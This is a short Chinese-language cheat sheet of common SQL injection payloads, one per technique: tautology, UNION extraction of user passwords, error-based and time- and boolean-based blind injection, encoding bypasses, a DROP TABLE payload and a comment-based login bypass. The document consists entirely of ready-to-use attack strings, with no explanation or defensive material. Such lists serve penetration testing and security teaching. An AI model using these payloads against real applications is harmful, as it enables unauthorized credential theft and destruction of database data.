常见SQL注入手法
- 基本 SQL 注入:
' OR '1'='1 - 联合查询注入:
' UNION SELECT username, password FROM users -- - 报错注入:
' AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT password FROM users LIMIT 1))) -- - 时间盲注:
' AND IF(1=1, SLEEP(5), 0) -- - 布尔盲注:
' AND (SELECT COUNT(*) FROM users WHERE username = 'admin') > 0 -- - URL 编码绕过:
%27 OR 1=1 -- - 十六进制编码绕过:
0x27 OR 1=1 -- - 参数化查询验证:
user'input; DROP TABLE comments; -- - 输入过滤验证:
admin'; --